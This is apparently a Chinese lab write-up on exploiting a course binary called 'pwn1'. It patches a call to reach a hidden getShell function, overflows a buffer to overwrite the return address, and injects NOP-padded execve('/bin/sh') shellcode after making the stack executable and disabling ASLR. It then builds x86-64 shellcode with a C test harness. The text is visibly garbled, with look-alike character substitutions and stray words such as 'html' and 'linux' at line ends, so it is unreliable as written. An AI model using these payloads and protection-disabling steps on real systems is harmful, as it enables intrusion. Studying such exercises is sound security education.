本次实践的对象是一个名为pwn1的linux可执行文件。html
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。linux
该程序同时包含另外一个代码片断,getShell,会返回一个可用Shell。正常状况下这个代码是不会被运行的。咱们实践的目标就是想办法运行这个代码片断。咱们将学习两种方法运行这个代码片断,而后学习如何注入运行任何Shellcode。git
objdump -d
:从objfile中反汇编那些特定指令机器码的section。perl -e
:后面紧跟单引号括起来的字符串,表示在命令行要执行的命令。xxd
:为给定的标准输入或者文件作一次十六进制的输出,它也能够将十六进制输出转换为原来的二进制格式。ps -ef
:显示全部进程,并显示每一个进程的UID,PPIP,C与STIME栏位。|
:管道,将前者的输出做为后者的输入。>
:输入输出重定向符,将前者输出的内容输入到后者中。返回目录shell
使用objdump -d pwn1
将pwn1反汇编,获得如下代码(只展现部分核心代码):编程
咱们注意到,80484b5: e8 d7 ff ff ff call 8048491 <foo>
这条汇编指令,在main函数中调用位于地址8048491处的foo函数,e8表示“call”,即跳转。windows
若是咱们想让函数调用getShell,只须要修改d7 ff ff ff
便可。根据foo函数与getShell地址的偏移量,咱们计算出应该改成c3 ff ff ff
。数组
修改的具体步骤以下:安全
vi pwn1
进入命令模式:%!xxd
将显示模式切换为十六进制/e8d7
定位须要修改的地方,并确认:%!xxd -r
将十六进制转换为原格式:wq
保存并退出反汇编查看修改后的代码,发现call指令正确调用getShell:网络
运行修改后的代码,能够获得shell提示符:dom
与上一个任务相似,首先须要进行反汇编,以了解程序的基本功能。具体过程再也不赘述。
该可执行文件正常运行是调用函数foo,这个函数有Buffer overflow漏洞。读入字符串时,系统只预留了必定字节的缓冲区,超出部分会形成溢出,咱们的目标是覆盖返回地址。
尝试发现,当输入为如下字符时已经发生段错误,产生溢出:
使用gdb进行调试:
注意到eip的值为ASCII的5,即在输入字符串的“5”的部分发生溢出。将“5”的部分改成其余数字进一步确认:
由此能够看到,若是输入字符串1111111122222222333333334444444412345678,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址,输给pwn1,pwn1就会运行getShell。
由反汇编结果可知getShell的内存地址为:0804847d
对比以前 eip 0x34333231 0x34333231
,正确输入为 11111111222222223333333344444444\x7d\x84\x04\x08
。
接下来须要生成一个包含这样字符串的文件,来构造输入值。
Perl是一门解释型语言,不须要预编译,能够在命令行上直接使用。 使用perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
命令构造文件。
使用十六进制查看指令xxd查看input文件是否符合预期。因为kali系统采用的是大端法,因此构造内存地址时注意顺序,末尾的\0a表示回车换行:
而后将input的输入,经过管道符“|”,做为pwn1的输入。:
首先使用apt-get install execstack
命令安装execstack。
修改如下设置:
root@KaliYL:~# execstack -s pwn1 //设置堆栈可执行 root@KaliYL:~# execstack -q pwn1 //查询文件的堆栈是否可执行 X pwn1 root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 2 root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化 root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 0
咱们选择retaddr+nops+shellcode结构来攻击buf,在shellcode前填充nop的机器码90,最前面加上加上返回地址(先定义为\x4\x3\x2\x1):
perl -e 'print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode
接下来肯定\x4\x3\x2\x1部分到底须要填什么
打开一个终端注入这段攻击buf,在另外一个终端查看pwn1这个进程,发现进程号为4854。
启动gdb调试这个进程:
经过设置断点,来查看注入buf的内存地址:
使用break *0x080484ae
设置断点,并输入c
继续运行。在pwn1进程正在运行的终端敲回车,使其继续执行。再返回调试终端,使用info r esp
查找地址。
使用x/16x 0xffffd33c
查看其存放内容,看到了01020304,就是返回地址的位置。根据咱们构造的input_shellcode可知,shellcode就在其后,因此地址是 0xffffd340。
接下来只须要将以前的\x4\x3\x2\x1改成这个地址便可:
再执行程序,攻击成功:
一个典型的ELF可重定位目标文件以下图所示:
各节含义以下:
节 | 含义 |
---|---|
.text | 已编译程序的机器代码 |
.rodata | 只读数据,如pintf和switch语句中的字符串和常量值 |
.data | 已初始化的全局变量 |
.bss | 未初始化的全局变量 |
.symtab | 符号表,存放在程序中被定义和引用的函数和全局变量的信息 |
.rel.text | 当连接器吧这个目标文件和其余文件结合时,.text节中的信息需修改 |
.rel.data | 被模块定义和引用的任何全局变量的信息 |
.debug | 一个调试符号表 |
.line | 原始C程序的行号和.text节中机器指令之间的映射 |
.strtab | 一个字符串表,其内容包含.systab和.debug节中的符号表 |
对于static类型的变量,gcc编译器在.data和.bss中为每一个定义分配空间,并在.symtab节中建立一个有惟一名字的本地连接器符号。对于malloc而来的变量存储在堆(heap)中,局部变量都存储在栈(stack)中。
如下面这个程序为例,来验证变量是如何存储的:
#include<stdio.h> #include<string.h> #include<stdlib.h> int z = 9; int a; static int b =10; static int c; void swap(int* x,int* y) { int temp; temp=*x; *x=*y; *y=temp; } int main() { int x=4,y=5; swap(&x,&y); printf(“x=%d,y=%d,z=%d,w=%d/n”,x,y,z,b); return 0; }
使用objdump -S var.o
查看C源程序的汇编代码能够发现,z和b在.data段,main和swap在.text段,a和c在.bss段,x,y,temp在stack中,printf函数所打印的字符串在.rodata中。
教程中提到,shellcode就是一段机器指令(code),一般这段机器指令的目的是为获取一个交互式的shell
。在许多状况下,标准的shellcode可能没法知足特定的任务,所以须要建立本身的shellcode。
shellcode的编写方式主要有如下三种:
不管使用哪一种方法,都须要了解像read、write和execute等这种底层内核函数。因为这些系统函数都是在内核级执行的,所以还须要有关用户进程如何与内核进行通讯的知识。这部份内容上学期已在娄老师的《信息安全系统设计基础》课程中完成了学习(附:进程与fork()、wait()、exec函数组),所以较易理解。
下面根据查阅的一些资料,尝试利用execve建立shellcode。
编写一个简单的程序:
#include <stdio.h> #include <unistd.h> int main(int argc, char *argv[]) { char *code[2]; code[0] = "/bin/sh"; code[1] = NULL; execve(code[0], code, NULL); return 0; }
注意:execve 是 Unix/Linux下exec函数,Linux通常是用fork建立新进程,用exec来执行新的程序。exec有六个函数,其中只有execve是系统调用,其它五个exec函数最后都要调用execve。
以上程序编译运行能够获得一个shell,这个在上学期的课程中已经学习过了。接下来使用gcc -o shellcode shellcode.c
将上面的代码进行编译,而后使用objdump -d shellcode > shellcode.s
反汇编。获得的反汇编代码(main部分)以下:
参考以上反汇编代码,用汇编语言重写上面的shellcode.c,并保存为scode.s:
编译: as -o scode.o scode.s 链接: ld -o scode scode.o 提取二进制机器码: objdump -d scode
红色标注部分即为shellcode的代码:
为:\xeb\x2b\x59\x55\x48\x89\xe5\x48\x83\xec\x20\x48\x89\x4d\xf0\x48\xc7\x45\xf8\x00\x00\x00\x00\xba\x00\x00\x00\x00\x48\x8d\x75\xf0\x48\x8b\x7d\xf0\x48\xc7\xc0\x3b\x00\x00\x00\x0f\x05\xe8\xd0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68
最后用C语言写一个测试shellcode的程序:
#include <stdio.h> unsigned char code[] = "\xeb\x2b\x59\x55\x48\x89\xe5\x48" "\x83\xec\x20\x48\x89\x4d\xf0\x48" "\xc7\x45\xf8\x00\x00\x00\x00\xba" "\x00\x00\x00\x00\x48\x8d\x75\xf0" "\x48\x8b\x7d\xf0\x48\xc7\xc0\x3b" "\x00\x00\x00\x0f\x05\xe8\xd0\xff" "\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" ; /* code 就是咱们上面构造的 shellcode */ void main(int argc, char *argv[]) { long *ret; ret = (long *)&ret + 2; (*ret) = (long)code; }
因为系统设置了堆栈运行保护,gcc编译时须要使用参数:-fno-stack-protector -z execstack。查看运行结果:
Done!
目前尝试的shellcode还有很大的局限性,好比堆栈保护等。能不能绕过这些保护呢?